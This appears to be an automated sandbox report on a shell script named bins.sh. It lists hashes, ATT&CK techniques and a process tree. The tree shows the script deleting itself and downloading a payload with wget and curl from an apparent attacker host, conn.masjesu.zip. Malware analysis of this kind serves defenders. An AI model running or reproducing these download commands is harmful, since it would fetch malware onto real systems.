5f3e8dc46692e77fb8a0dfc7eb9172e797b1facfdd6fa764711ee37927bae7cb

Analysis

max time kernel
149s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/11/2024, 10:22

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General

Target
bins.sh
Size 10KB
Sample241121-md891a1arc
SHA256 5f3e8dc46692e77fb8a0dfc7eb9172e797b1facfdd6fa764711ee37927bae7cb
MD5 84870c62bb1aead75c19f6662d6504bb
SHA1 86547163ef5a6d02074d2cf26bb2cde13b5fda28
SHA512 e4d32f58425fef8942e08f9e633b35eb3465f9e6aa15c45295a67879b204c4d874ff34a8511940fc109f4e33ba034dbb5687a6643f1849b16ecf564fd12fb84a
SSDEEP 192:ZDD7YwPKWuvdalUg5KyCE3naiKpNdEUg5Ky3WDDnYwPKW6:5YwPKWuvda+E3naXNdCqYwPKW6
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
650	curl
646	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:639
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:641
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - System Network Configuration Discovery
  PID:646
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:650

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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